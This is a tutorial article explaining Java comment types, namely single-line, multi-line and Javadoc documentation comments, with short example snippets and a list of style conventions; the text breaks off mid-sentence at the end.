0x804851e <totally_secure+88> add esp, 0x10 0x8048521 <totally_secure+91> nop 0x8048522 <totally_secure+92> mov ebx, dword ptr [ebp - 4] 0x8048525 <totally_secure+95> leave 0x8048526 <totally_secure+96> ret ↓ ► 0xffffcd20 nop 0xffffcd21 nop 0xffffcd22 nop 0xffffcd23 nop 0xffffcd24 nop 0xffffcd25 nop [───────────────────────────────────────────────────────────────────STACK────────────────────────────────────────────────────────────────────] 00:0000│ esp 0xffffce10 —▸ 0xffffce00 ◂— 0xffffe5e8 01:0004│ 0xffffce14 ◂— 0x0 02:0008│ 0xffffce18 ◂— 0x2 03:000c│ 0xffffce1c ◂— 0x0 04:0010│ 0xffffce20 ◂— 0x2 05:0014│ 0xffffce24 —▸ 0xffffcee4 —▸ 0xffffd0c2 ◂— 0x69622f2e ('./bi') 06:0018│ 0xffffce28 —▸ 0xffffcef0 —▸ 0xffffd1e9 ◂— 0x4e5f434c ('LC_N') 07:001c│ 0xffffce2c —▸ 0xffffce50 ◂— 0x2 [─────────────────────────────────────────────────────────────────BACKTRACE──────────────────────────────────────────────────────────────────] ► f 0 ffffcd20 pwndbg> We hit the NOP-sled again, so our positioning is correct! But these memory pages are not getting executed anymore. The result is a nasty SEGSEGV we do not want.. It’s time for some nifty arc injection! ret2libc Starting with return to libc I won’t cover the technique in detail here, since the focus for these articles lies on the defense side of things. Furthermore we already have multiple challenge and exploit technique writeups, like @IoTh1nkN0t ret2libc article. So I’m reducing any possible overhead/duplicates. note: We’re still paddling in no ASLR waters here. So no advanced ret2libc either. It’s just for demo purposes. Basic return to libc approach: | Top of stack | EBP | EIP | Dummy ret addr | addr of desired shell | |-----------------------|----------|-----------------------------------------|---------------------------|------------------------| | AAAAAAAAAA | AAAA | Addr of system func (libc) | e.g. JUNK | e.g. /bin/sh | Find libc base: Possible way to find linked libc: ldd vuln_with_nx linux-gate.so.1 => (0xf7ffc000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e1d000) # <- this is it /lib/ld-linux.so.2 (0x56555000) Let’s find the base address of libc via gdb: pwndbg> vmmap libc LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0xf7df7000 0xf7fab000 r-xp 1b4000 0 /lib/i386-linux-gnu/libc-2.24.so # we want this one 0xf7fab000 0xf7fad000 r--p 2000 1b3000 /lib/i386-linux-gnu/libc-2.24.so 0xf7fad000 0xf7fae000 rw-p 1000 1b5000 /lib/i386-linux-gnu/libc-2.24.so pwndbg> find /bin/sh offset: Now it’s time to find the /bin/sh in it strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "bin/sh" 15fa0f /bin/sh # <- this is our offset We can assembly the shell location now via base + offset. It yields: 0xf7df7000 + 15fa0f = 0xf7f56a0f find system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system" 246: 00116670 68 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_2.0 628: 0003b060 55 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_PRIVATE 1461: 0003b060 55 FUNC WEAK DEFAULT 13 [email protected]@GLIBC_2.0 # this is our gem We can assembly the shell location now via base + offset . This yields: 0xf7df7000 + 0x3b060 = 0xf7e32060 From here on we can assembly out final exploit. We got everything we need. Or we can do the following The lazy non ASLR way :) Print system position: pwndbg> print system $1 = {<text variable, no debug info>} 0xf7e32060 <system> pwndbg> find &system, +99999999, "/bin/sh" 0xf7f56a0f warning: Unable to access 16000 bytes of target memory at 0xf7fb8733, halting search. 1 pattern found. pwndbg> This directly results in addresses we can use to craft our exploit Final exploit Again_with_nx') libc = ELF('/lib/i386-linux-gnu/libc-2.24.so') def main(): parser = argparse.ArgumentParser(description='pwnage') parser.add_argument('--dbg', '-d', action='store_true') args = parser.parse_args() executable = './binary/vuln_with_nx' libc_base = 0xf7df7000 binsh = int(libc.search("/bin/sh").next()) print("[+] Shell located at offset from libc: %s" % hex(binsh)) shell_addr = libc_base + binsh print("[+] Shell is at address: %s" % hex(shell_addr)) print("[+] libc.system() has a %s offset from libc" % hex(libc.symbols["system"])) system_call = int(libc_base + libc.symbols["system"]) print("[+] system call is at address: %s" % hex(system_call)) payload = 'A' * 268 payload += p32(system_call) payload += 'JUNK' payload += p32(shell_addr) if args.dbg: r = gdb.debug([executable, payload], gdbscript=""" b *totally_secure+53 continue""") else: r = process([executable, payload]) r.interactive() if __name__ == '__main__': main() sys.exit(0) Proof of concept: python bypass_ret2libc.py INFO [*] '/DEP/binary/vuln_with_nx' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc-2.24.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Shell located at offset from libc: 0x15fa0f [+] Shell is at address: 0xf7f56a0f [+] libc.system() has a 0x3b060 offset from libc [+] system call is at address: 0xf7e32060 [+] Starting local process './binary/vuln_with_nx': pid 65828 [*] Switching to interactive mode Hello, I'm your friendly & totally secure binary :)! What is your name?��JUNK\x0fj��! $ whoami pwnbox $ We successfully bypassed DEP/NX on a fairly recent Ubuntu system with our exploit. You’re invited to try it out yourselves. note: Remember, it all depends on your specific libc library to work. ROP Initially return to known code attacks like ret2libc were developed to bypass DEP/NX on systems. Generally all arc injection attacks can bypass DEP/NX and ROP might just be considered a ret2libc alternative/powerup. Hence it can be obviously used here too. We will come back to ROP in a later article. Conclusion This small overview showed the effectiveness and struggles DEP/NX brings to the table. It can be said that the introduction of this approach tried to fight against one of the most exploited vulnerability types out there. Initially it was very effective, but smart ways around were found with arc injection approaches. I hope this introduction to the article series was interesting enough to follow. Feedback is more than welcome, especially if you missed anything while reading this article. I’ll try my best to incorporate wishes in the next one. Peace out~
https://0x00rick.com/research/2018/04/09/intro_dep.html
CC-MAIN-2019-30
refinedweb
2,659
55.03
Dan, For working with extensions in ArcPy, would it be good to always start the scripts off with : import arcpy if arcpy.CheckExtension("3D") == "Available": arcpy.CheckOutExtension("3D") else: print "3D Analyst license is unavailable" Or does that mess things up if the license is already checked on in the local desktop ArcMap? Not if you have it and are working in a single user environment and not one of those share-sy ones. Accessing licenses and extensions in Python—Help | ArcGIS for Desktop The setting of the product and extensions is only necessary within stand-alone scripts. If you are running tools from the Python window or using script tools, the product is already set from within the application, and the active extensions are based on the Extensions dialog box. I never find any point in checking and getting a nice message, I would rather it fail and a real error message be thrown. Thanks for your answers ! Adrian, I added your code to my script and now it's working ! My extensions were always checked in ArcMap (both Spatial and 3D analyst) but it wasn't working. Now with these 4 lines it works ! Thanks so much! I would say "stand-alone scripts and or custom-tools from these stand-alone scripts". I find it is always better to check it out (and in at the end, if you want to keep it need) for my custom tools. In theory, the tools you write should be able to move to other machines, setups and license manager (concurrent or single-use), so better to check it out if needed for your process. I'm not sure if the second sentence is correct or not (haven't tested). It may be, assuming a license is available, otherwise you would still get an error, in my opinion. Adrian Welsh does a nicer user interface then I use....I just do the checkout since you will still get an error if no licenses/seats are available (lazy coding on my part I guess). And no, it does not mess up what is already checked out as far as I can tell. if arcpy.CheckExtension("3D") == "Available": arcpy.CheckOutExtension("3D") else: print "3D Analyst license is unavailable" As a standalone script, I don't even bother checking since people should read the docs before running anything
https://community.esri.com/t5/python-questions/arcgis-licence-not-available-in-python/td-p/238011
CC-MAIN-2022-21
refinedweb
393
71.24
How to Determine if a Binary Tree is Balanced Last modified: November 7, 2019 1. Overview Trees are one of the most important data structures in computer science. We're usually interested in a balanced tree, because of its valuable properties. Their structure allows performing operations like queries, insertions, deletions in logarithmic time. In this tutorial, we're going to learn how to determine if a binary tree is balanced. 2. Definitions First, let's introduce a few definitions in order to make sure we're on the same page: - A binary tree – a kind of a tree where every node has zero, one or two children - A height of a tree – a maximum distance from a root to a leaf (same as the depth of the deepest leaf) - A balanced tree – a kind of a tree where for every subtree the maximum distance from the root to any leaf is at most bigger by one than the minimum distance from the root to any leaf We can find an example of a balanced binary tree below. Three green edges are a simple visualization of how to determine the height, while the numbers indicate the level. 3. Domain Objects So, let's start with a class for our tree: public class Tree { private int value; private Tree left; private Tree right; public Tree(int value, Tree left, Tree right) { this.value = value; this.left = left; this.right = right; } } For the sake of simplicity, let's say each node has an integer value. Note, that if left and right trees are null, then it means our node is a leaf. Before we introduce our primary method let's see what it should return: private class Result { private boolean isBalanced; private int height; private Result(boolean isBalanced, int height) { this.isBalanced = isBalanced; this.height = height; } } Thus for every single call, we'll have information about height and balance. 4. Algorithm Having a definition of a balanced tree, we can come up with an algorithm. What we need to do is to check the desired property for every node. It can be achieved easily with recursive depth-first search traversal. Now, our recursive method will be invoked for every node. Additionally, it will keep track of the current depth. Each call will return information about height and balance. Now, let's take a look at our depth-first method: private Result isBalancedRecursive(Tree tree, int depth) { if (tree == null) { return new Result(true, -1); } Result leftSubtreeResult = isBalancedRecursive(tree.left(), depth + 1); Result rightSubtreeResult = isBalancedRecursive(tree.right(), depth + 1); boolean isBalanced = Math.abs(leftSubtreeResult.height - rightSubtreeResult.height) <= 1; boolean subtreesAreBalanced = leftSubtreeResult.isBalanced && rightSubtreeResult.isBalanced; int height = Math.max(leftSubtreeResult.height, rightSubtreeResult.height) + 1; return new Result(isBalanced && subtreesAreBalanced, height); } First, we need to consider the case if our node is null: we'll return true (which means the tree is balanced) and -1 as a height. Then, we make two recursive calls for the left and the right subtree, keeping the depth up to date. At this point, we have calculations performed for children of a current node. Now, we have all the required data to check balance: - the isBalanced variable checks the height for children, and - substreesAreBalanced indicates if the subtrees are both balanced as well Finally, we can return information about balance and height. It might be also a good idea to simplify the first recursive call with a facade method: public boolean isBalanced(Tree tree) { return isBalancedRecursive(tree, -1).isBalanced; } 5. Summary In this article, we've discussed how to determine if a binary tree is balanced. We've explained a depth-first search approach. As usual, the source code with tests is available over on GitHub.
https://www.baeldung.com/java-balanced-binary-tree
CC-MAIN-2020-40
refinedweb
616
62.78
Reads formatted data from an open file #include <stdio.h> int fscanf ( FILE * restrict fp , const char * restrict format , ... ); The fscanf( ) function is like scanf( ), except that it reads input from the file referenced by first argument, fp, rather than from stdin. If fscanf( ) reads to the end of the file, it returns the value EOF. The example code reads information about a user from a file, which we will suppose contains a line of colon-separated strings like this: tony:x:1002:31:Tony Crawford,,:/home/tony:/bin/bash Here is the code: struct pwrecord { // Structure to hold contents of passwd fields. unsigned int uid; unsigned int gid; char user[32]; char pw [32]; char realname[128]; char home [128]; char shell [128]; }; /* ... */ FILE *fp; int results = 0; struct pwrecord record; struct pwrecord *recptr = &record; char gecos[256] = ""; /* ... Open the password file to read ... */ record = (struct pwrecord) { UINT_MAX, UINT_MAX, "", "", "", "", "", "" }; /* 1. Read login name, password, UID and GID. */ results = fscanf( fp, "%32[^:]:%32[^:]:%u:%u:", recptr->user, recptr->pw, &recptr->uid, &recptr->gid ); This function call reads the first part of the input string, tony:x:1002:1002:, and copies the two strings "tony" and "x" and assigns two unsigned int values, 1002 and 31, to the corresponding structure members. The return value is 4. The remainder of the code is then as follows: if ( results < 4 ) { fprintf( stderr, "Unable to parse line.\n" ); fscanf( fp, "%*[^\n]\n" ); // Read and discard rest of line. } /* 2. Read the "gecos" field, which may contain nothing, or just the real * name, or comma-separated sub-fields. */ results = fscanf( fp, "%256[^:]:", gecos ); if ( results < 1 ) strcpy( recptr->realname, "[No real name available]" ); else sscanf( gecos, "%128[^,]", recptr->realname ); // Truncate at first comma. /* 3. Read two more fields before the end of the line. */ results = fscanf( fp, "%128[^:]:%128[^:\n]\n", recptr->home, recptr->shell ); if ( results < 2 ) { fprintf( stderr, "Unable to parse line.\n" ); fscanf( fp, "%*[^\n]\n" ); // Read and discard rest of line. } printf( "The user account %s with UID %u belongs to %s.\n", recptr->user, recptr->uid, recptr->realname ); For our sample input line, the printf( ) call produces the following output: The user account tony with UID 1002 belongs to Tony Crawford. scanf( ), sscanf( ), vscanf( ), vfscanf( ), and vsscanf( ); wscanf( ), fwscanf( ), swscanf( ), vwscanf( ), vfwscanf( ), and vswscanf( )
http://books.gigatux.nl/mirror/cinanutshell/0596006977/cinanut-CHP-17-95.html
CC-MAIN-2018-43
refinedweb
384
72.56
Overview Atlassian Sourcetree is a free Git and Mercurial client for Windows. Atlassian Sourcetree is a free Git and Mercurial client for Mac. Avacado Version : 0.2.0 Author : Thomas Weholt <thomas@weholt.org> License : GPL v3.0 WWW : Status : Experimental/Alpha/Proof-of-concept. About Deliciously delayed and cached database logging for django. FYI: The code is still in early alpha stage of development so beware. NB! It sorta looks like the std module logger in python, but it's not. This is that one time that even if it looks like a duck and quacks like a duck, it's still not a duck. not have the performance hit of using the django orm. You might do something like this in your view: from avocado.context import get_context with get_context("filescanning") as log: for filename in somefilescanningmethod(): # do something with the file and store some information about it log.info("Did something to %s." % filename) You can also log information and add an instance of a django model. In the admin you can see the log and click to go directly to the related model: with get_context("UserProcessing") as log: for usr in User.objects.all(): # do something with the user and store some information about it log.info("Did something to %s." % user, instance=user) You can also log exceptions and avocado will try to log more than just the name of the exception being raised, but this not formatted very pretty at the moment and the code seems to bring along a lot of useless info. Still, here's how to test it: with get_context("UserProcessing") as log: try: a = 0 b = 2 c = b / a except Exception, e: log.exception("Math exception: %s" % e) You don't have to pass the exception along. Avocado will dig out lots of stuff for you. Installation pip install django-avocado or hg clone python setup.py install Add avocado to INSTALLED_APPS. You might have to copy or symlink to the templates in the avocado-folder, but I don't think so. Requirements - django - dse Changelog 0.2.0 : Rewrote some to be compatible with the latest release of DSE. 0.1.0 : Initial release.
https://bitbucket.org/pombredanne/django-avocado
CC-MAIN-2017-47
refinedweb
366
67.86
#include <GD_Curve.h> Definition at line 25 of file GD_Curve.h. Reimplemented from GD_Primitive. Implements GD_Primitive. Copy all subclass data from source to this. The vertex lists of source and this must already be equivalent in some manner, though possibly referring to different vertices. If some subclass data is dependent on the vertex list contents, (such as GEO_PrimPolySoup::myPolygonVertexList), it should be mapped based on the correspondence between the two. GEO_PrimPolySoup is currently the only primitive type with this sort of dependence, so it's probably best not to add more. NOTE: This must be safe to call on different primitives in parallel at the same time. Reimplemented from GA_Primitive. Count memory usage using a UT_MemoryCounter in order to count shared memory correctly. NOTE: This should always include sizeof(*this). Reimplemented from GA_Primitive. Evaluate the face between breakpoints by taking a start/stop index in the valid domain and a level of detail representing number of points to be interpolated between every two breakpoints. The method always interpolates the encountered breakpoints (aka "edit points"). This returns true if successful, else false. Reimplemented from GD_Face. Reimplemented in GD_PrimRBezCurve, and GD_PrimNURBCurve. Implementation for curves. Reimplemented from GD_Face. Reimplemented in GD_PrimRBezCurve, and GD_PrimNURBCurve. Definition at line 169 of file GD_Curve.h. Definition at line 170 of file GD_Curve.h. Definition at line 175 of file GD_Curve.h. This method returns the JSON interface for saving/loading the primitive If the method returns a NULL pointer, then the primitive will not be saved to geometry files (and thus cannot be loaded). Implements GA_Primitive. Report memory usage. Reimplemented from GA_Primitive. Definition at line 173 of file GD_Curve.h. Is the primitive degenerate. Implements GA_Primitive. Definition at line 186 of file GD_Curve.h. Implemented in GD_PrimNURBCurve, and GD_PrimRBezCurve. Definition at line 151 of file GD_Curve.h. All subclasses should call this method to register the curve intrinsics. Definition at line 192 of file GD_Curve.h. Primitives must provide these methods Implements GA_Primitive. Reimplemented in GD_PrimNURBCurve, and GD_PrimRBezCurve. Definition at line 158 of file GD_Curve.h. Definition at line 209 of file GD_Curve.h. Definition at line 226 of file GD_Curve.h. Curve's basis. Definition at line 219 of file GD_Curve.h.
https://www.sidefx.com/docs/hdk/class_g_d___curve.html
CC-MAIN-2021-10
refinedweb
366
53.78
Created on 2010-03-28 20:15 by dangyogi, last changed 2012-08-26 10:59 by aliles. I'm getting a "TypeError: bad argument type for built-in operation" on a print() with no arguments. This seems to be a problem in both 3.1 and 3.1.2 (haven't tried 3.1.1). I've narrowed the problem down in a very small demo program that you can run to reproduce the bug. Just do "python3.1 bug.py" and hit <ENTER> at the "prompt:". Removing the doctest call (and calling "foo" directly) doesn't get the error. Also removing the "input" call (and leaving the doctest call in) doesn't get the error. The startup banner on my python3.1 is: Python 3.1.2 (r312:79147, Mar 26 2010, 16:55:44) [GCC 4.3.3] on linux2 I compiled python 3.1.2 with ./configure, make, make altinstall without any options. I'm running ubuntu 9.04 with the 2.6.28-18-generic (32-bit) kernel. Confirmed. There's something wrong around the doctest._SpoofOut class. This script triggers the same bug (both 3.x and 3.1). Output: $ ./python issue8256_case.py prompt: Traceback (most recent call last): File "issue8256_case.py", line 13, in <module> foo() File "issue8256_case.py", line 7, in foo print() TypeError: bad argument type for built-in operation The bug is triggered by input, not by print. The exact place is _PyUnicode_AsStringAndSize, where unicode check happens. Then print checks PyError_Occured and catches this error. Either this error should not be raised or should be cleared input finishes. I'd love to provide a patch, but I have no idea, what should be corrected and how. If some would tutor me a little, I would be very happy to learn and code this. Right. It does not involve doctest. # import io, sys original_stdout = sys.stdout try: sys.stdout = io.StringIO() input("prompt:") print() finally: sys.stdout = original_stdout The problem occurs in line in bltinmodule.c: po = PyUnicode_AsEncodedString(stringpo, _PyUnicode_AsString(stdout_encoding), NULL); Where _PyUnicode_AsString returns NULL, since stdout_encoding is Py_None and that won't pass PyUnicode_Check in _PyUnicode_AsStringAndSize. To what object can _PyUnicode_AsString be turned and then passed to _PyUnicode_AsStringAndSize? Is there some default 'utf-8' encoding object? Whatever the solution to this issue is, it certainly looks like a bug that the return value of that function isn't being checked for errors. I have written a small patch, that solves the problem, but is disgusting. Could anyone tell me, how I can get some default encoding from Python internals (I have no idea where to look) and return it inside _PyUnicode_AsStringAndSize? Anyway, now when the error happens inside input, it raises an Exception properly. So now I only need to know, how to correct the bug in an elegant fashion. Ok, I have found Py_FileDefaultSystemEncoding and use it, however I had to cast it to (char *), because it's a const char *. Maybe I could do it better? I have read, that I shouldn't directly use Py_FileSystemDefaultEncoding and rather use PyUnicode_GetDefaultEncoding, so I have changed the code a little. Bump! Is there anything happening about this bug? Is my patch any good or should I try to work on something different? Victor, you've been dealing with Python's default encoding lately, care to render an opinion on the correct fix for this bug? @Filip: the patch will need a unit test, which will also help with assessing the validity of the fix. I'll try to code a small test this evening. The patch is wrong: _PyUnicode_AsString(Py_None) should not return "utf8"! I suggest that since PyOS_Readline() write the prompt to stderr, the conversion uses the encoding of stderr. Amaury, could you elaborate a little more on this? I am pretty new to all this and I would happily write the patch, if only you could give me some clue on how I should approach this. This issue is directly related to issue #6697. The first problem is that the builtin input() function doesn't check that _PyUnicode_AsString() result is not NULL. The second problem is that io.StringIO().encoding is None. I don't understand why it is None whereas it uses utf8 (it calls TextIOWrapper constructor with encodings="utf8" and errors="strict"). I will be difficult to write an unit test because the issue only occurs if stdin and stdout are TTY: input() calls PyOS_Readline(stdin, stdout, prompt). -- @gruszczy: You're patch is just a workaround, not the right fix. The problem should be fixed in input(), not in PyUnicode methods. _PyUnicode_AsString() expects an unicode argument, it should raise an error if the argument is None (and not return a magical value). Here is a patch catching the _PyUnicode_AsString() error. input() uses sys.stdout.encoding to encode the prompt to a byte string, but PyOS_StdioReadline() writes the prompt to stderr (it should use sys_stdout). I don't know which encoding should be used if sys.stdout.encoding is None (eg. if sys.stdout is a StringIO() object). StringIO() of _io module has no encoding because it stores unicode characters, not bytes. StringIO() of _pyio module is based on BytesIO() and use utf8 encoding, but the reference implementation is now _io. since the prompt is written to stderr, why is sys.stdout.encoding used instead of sys.stderr.encoding? amaury> since the prompt is written to stderr, why is sys.stdout.encoding amaury> used instead of sys.stderr.encoding? input() calls PyOS_Readline() but PyOS_Readline() has multiple implementations: - PyOS_StdioReadline() if sys_stdin or sys_stdout is not a TTY - or PyOS_ReadlineFunctionPointer callback: - vms__StdioReadline() (VMS only) - PyOS_StdioReadline() - call_readline() when readline module is loaded call_readline() calls rl_callback_handler_install() with the prompt which writes the prompt to *stdout* (try ./python 2>/dev/null). I don't think that it really matters that the prompt is written to stderr with stdout encoding, because both outputs always use the same encoding. Confirmed in 3.3. The patch does not apply cleanly on trunk. A patch similar to input_stdout_encoding.patch has been applied to 3.2 and 3.3 for the issue #6697: see changeset 846866aa0eb6. input_stdout_none_encoding.patch uses UTF-8 if sys.stdout.encoding is None. Replicated this issue on Python 3.3b2. The cause is the 'encoding' and 'errors' attributes on io.StringIO() being None. Doctest replaces sys.stdout with a StringIO subclass. The exception raised is still a TypeError. At this point I'm unsure what the fix should be: 1. Should the exception raised be more descriptive of the problem? 2. Should io.StringIO have real values for encoding and errors? 3. Should Doctest's StingIO class provide encoding and errors? > I suggest that since PyOS_Readline() write the prompt to stderr, the > conversion uses the encoding of stderr. Agreed with Amaury. Upload new patch that uses encoding and errors from stderr if stdout values are invalid unicode. Includes unit test in test_builtin.py. With this patch I am no longer able to replicate this issue.
http://bugs.python.org/issue8256
CC-MAIN-2013-20
refinedweb
1,163
69.18
#include <stdio.h> #include <stdlib.h> int main() { char str1[27]="a"; char str2[2]; int n; str2[1]= 0; for (n = 'a' ; n < 'j' ; n++) { str2[0] = n; strcat(str1, str2); printf( "%s\n ", str1); } } 'strcat' ing is fun but situation become worse when you need to remove the 'strcat' ed string. The above code is just a simulation of my actual code. I had used strcat to make a header of packets. Of course at the receiver end, you have to remove the header. How do I actually do it? I tried to remove the header by just ignoring the first few bytes which represents the header, it's ok to do so? But I found disadvantage by doing so because if I ignored the header, then the computer will not know which packets is which! Please help!
http://cboard.cprogramming.com/c-programming/5156-removing-%27strcat%27-ed-string.html
CC-MAIN-2015-27
refinedweb
140
80.31
24 August 2012 06:04 [Source: ICIS news] By Ong Sheau Ling SINGAPORE (ICIS)--Huge volumes of lower-priced polyethylene (PE) cargoes – mainly low density PE (LLDPE) film and low density PE (LDPE) lamination/coating grade – that have been flowing into India since July will likely cap price gains in the country's import market, industry sources said on Friday. About 30,000 tonnes of extra PE resins, primarily originating from Europe, were estimated to have reached ?xml:namespace> These imported materials arriving in On Thursday, September offers and selling ideas for LLDPE film and LDPE lamination were at $1,360-1,380/tonne CFR Mumbai and $1,450-1,470/tonne CFR Mumbai, respectively, industry sources said. “These extra cargoes, which traders are mostly holding now, are at a low cost. This will weigh on buying ideas for new imports,” a key trader based in These “irregular” parcels procured when the European market was lacklustre in June and July were settled at $1,240-1,280/tonne CFR Mumbai for LLDPE film, and at $1,340-1,350/tonne CFR Mumbai for LDPE lamination. Most Indian importers said they are concerned whether the domestic market will be able to absorb the imported volumes. “With the impending Diwali, we don’t see why demand should go down. However, this is provided that we can digest all these extra products,” a trader based in A Mumbai-based trader echoed the same concern, saying: “It is just not clear whether we can actually consume all of these. Now, we just have to move our stocks to the converters as quickly as possible to restore our cash flow.” A consequent offloading of stocks by traders will exert a downward pressure on import prices, market sources said. Spot prices of LLDPE film and LDPE lamination have steadily increased between end-June to mid-August, gaining between 2.1-5.9% over the period, according to ICIS, on the back of firmer costs of upstream naphtha and feedstock ethylene. Naphtha and ethylene prices have surged 33-37% over a two-month period to mid-August, ICIS data showed. “Now with these cheaper [PE] cargoes lying around, traders will be busy liquidating these products first before buying any new imports. Import interest is really weak,” a Mumbai-based trader said. “The emphasis now is to get rid of these materials to the converters so that we can regain our cash flow,” another trader based in Mumbai said. Cash flow has been an ongoing problem in “No one will be interested to stock up even though they agree that prices have met the bottom,” a third Mumbai-based trader said. “Given all these bearish factors, it remains unclear whether LLDPE film and LDPE lamination prices will still firm,” a local PE producer said. LLDPE film is commonly used in the film and packaging in the agricultural and food sectors, while LDPE lamination is used in coatings such as on flexible packaging and paper lamination. ($1 = €0.80)
http://www.icis.com/Articles/2012/08/24/9589650/influx-of-cheaper-imports-to-temper-pe-price-gains-in-india.html
CC-MAIN-2014-15
refinedweb
500
55.17
User Tag List Results 1 to 4 of 4 Thread: Closure/scope - Join Date - Dec 2007 - 120 - Mentioned - 0 Post(s) - Tagged - 0 Thread(s) Closure/scope Hello all, I'm trying to group some exisiting top-level functions inside a closure (to avoid polluting the global namespace) but I'm not quite getting it to work. First, all the JS works outside my anonymous function, but once I put it in the anonymous function I get an error of "crossfade is not defined". Does anyone see anything completely obvious that I am missing? I'm not quite getting why the the setInterval/crossfade works outside the anonymous function but not inside. Anything inside start() should be able to see vars/functions outside start() and it should all be protected in the closure created by the top-level anonymous function? I'm not trying to access anything *within* crossfade(), I'm just trying to execute it. Code: (function($) { //vars up here that internal functions can access //also using some jquery inside here, so using $ function crossfade() { //body here } //other functions function start() { //body here cInterval = setInterval('crossfade()', 5000); } })(jQuery); - Join Date - Dec 2007 - 120 - Mentioned - 0 Post(s) - Tagged - 0 Thread(s) I got this, setInterval is being executed in the global scope so I changed it to use an anonymous function: cInterval = window.setInterval(function() { crossfade(); }, 5000); - Join Date - Jul 2008 - 5,757 - Mentioned - 0 Post(s) - Tagged - 0 Thread(s) if crossfade() doesn't require any arguments to be passed to it, you could also just do Code: setInterval(crossfade, 5000); Code: var time = 55; cInterval = window.setInterval(function() { crossfade(time); }, 5000); - Join Date - Nov 2008 - Location - Thailand - 329 - Mentioned - 1 Post(s) - Tagged - 0 Thread(s) I've written a small script here to try and illustrate how this is assigned in various contexts including in a closure. Code JavaScript: function Obj1(){ this.name = 'Bob Flemming', this.sayName = function(){ alert ('this is '+(this.constructor.name || this)); alert ('Hi it\'s me '+this.name+' here.'); }; }; function Obj2(){ this.name = 'the 13th Duke of Wybourne'; this.sayName = obj1.sayName; // obj1's sayName function }; var obj1 = new Obj1(), obj2 = new Obj2(); var caller1 = obj1.sayName; // is just a pointer to obj1.sayName var caller2 = function(){obj1.sayName(); obj2.sayName()}; caller1();// called in the global context. This = window; caller2();// ? obj2.sayName(); // obj1.sayName is called in obj2's context. This = obj2; It does leave me with some questions though. It's the closure function doing the work? In my example am I right in saying. The closure's function scope contains pointers to the contained objects's activation objects, which in turn contain their this property/keyword? Cheers RLM ps. Just anther question if in Obj 2 I change this.sayName = obj1.sayName; to this.sayName = obj1.sayName(); Why does it call obj1.sayName in it's own scope i.e. this = obj1? It seems that a reference to this is only held if it comes in the form of something(). Bookmarks
http://www.sitepoint.com/forums/showthread.php?648707-Closure-scope
CC-MAIN-2017-04
refinedweb
501
65.42
Any software would be incomplete without comments. They aid the person viewing the code (usually you) in comprehending the program’s aim and functionality. You must develop the practice of always commenting on your code as you write it rather than afterward. The tools we’ll use in this article will remind you to write comments, assist you in writing them, and exploit the comments you’ve written to make programming easier. Please make use of them. Types of Comments in Java There are four to five types of comments in Java, depending on how you look. These include: Documentation and implementation comments Documentation comments and implementation comments are the two sorts of comments that should occur in programs. The class’s, field’s, or method’s semantics are described in documentation comments. You should be able to utilize the class and its methods without reading any source code if the documentation comments are good. On the other hand, implementation comments explain how a piece of code works. While you should write implementation comments as needed, documentation comments are an essential programming component and are required here. The other types of comments in Java include: Two forward slashes (//) begin single-line comments. Java ignores any text between // and the end of the line (will not be executed). Before each line of code, a single-line comment is used: // This is a comment System.out.println("Single line comments in Java"); A single-line comment is used at the end of a line of code in the following example: System.out.println("Single Line Comments at the end of the line"); // This is a comment Multi-line comments in Java Comments that span multiple lines begin with /* and conclude with */. Java will ignore any text between /* and */. To clarify the code, this example uses a multi-line remark (a comment block): /* The output of the code below is the words Hello multi-line comments in Java to the screen, and it is code magic */ System.out.println("Hello multi-line comments in java"); Do you want single-line or multi-line comments? It is entirely up to you which method you wish to employ.// is used for short comments, and /* */ is used for longer ones. What are the benefits of using comments in code? - Comments add details to the code to make the program more legible. - It makes it simple to maintain the code and locate errors. - The comments provide more information or explanations about a variable, method, class, or sentence. - It can also prevent program code execution while evaluating alternative code. Java documentation Comments Documentation comments are commonly used to help construct documentation API when writing massive programs for a project or software application. These APIs are required for reference to determine which classes, methods, arguments, and other elements are used in the code. The Javadoc tool is required to develop documentation API. Between /** and */ are the documentation comments. The syntax is as follows: /** * *several tags to depict the parameter *or heading or author-name *We can also use HTML tags * */ Tags for Javadoc Tags that are frequently used in documentation comments include: The section below allows us to use the Javadoc tag in a Java program. import java.io.*; /** * <h2> Number Calculation </h2> * This program is an application implemention * to perform operation such as addition of numbers * and print the result * <p> * <b>Note:</b> Comments are responsible for making the code readable and * easy to understand. * * @author Codeunderscored * @version 16.0 * @since 2022-03-19 */ public class CodeCalculation{ /** * The code in this method here sums two integers. * @param input1 This is the first parameter to sum() method * @param input2 This is the second parameter to the sum() method. * @return int This returns the addition of input1 and input2 */ public int sum(int input1, int input2){ return input1 + input2; } /** * This is the primary method uses of sum() method. * @param args Unused * @see IOException */ public static void main(String[] args) { Calculate obj = new Calculate(); int result = obj.sum(25, 35); System.out.println("Number summation: " + result); } } The HTML files for the Calculate class are now created in the current directory, abcDemo. We can see the documentation remark explaining the Calculate class when we open the HTML files. Style Documentation comments in Java are set inside the comment delimiters /**… */ by convention, with one comment per class, interface, or member. Each comment line should begin with a “*” and should occur directly before the class, interface, or member declaration. Here’s a crazy class that shows how to format your comments (not how to write Java code): /** /** * The Codeunderscored class is an example to illustrate documentation * comments. */ public class Codeunderscored { /** * integer keeps track of for fun. */ private int count; ... /** * Increment a value by delta and return the new value. * * @param delta the amount the value should be incremented by * @return the post-incremented value */ int increment(int delta) { ... } } It’s worth noting that the comments are all formatted the same way, with the leading “/” indented to the same level as the code being remarked on. The “@param” and “@return” tags are also included in the method comment. It shows the names of all the parameters and the method’s output. If you write “/**” after writing the method declaration, Eclipse will generate these for you automatically. Including such comments is a brilliant idea, as you will be able to look back at your code and better comprehend it. Others will be able to grasp your code better as well. However, there are certain extra advantages to formatting them this way. You can parse these comments with tools to provide documentation for your code (hence the name documentation comments). The Javadoc tools can read these comments, which will generate HTML-style documentation. Eclipse can read these comments as well. By typing an object name followed by the “.” operator, all methods provided by that object’s class will be listed. When you hover your mouse over a method call, you’ll also see correctly formatted documentation. Further, when you add a new element to UML Lab, it will prompt you for feedback. If you make it a practice to type them immediately away, you won’t have to do more work to keep 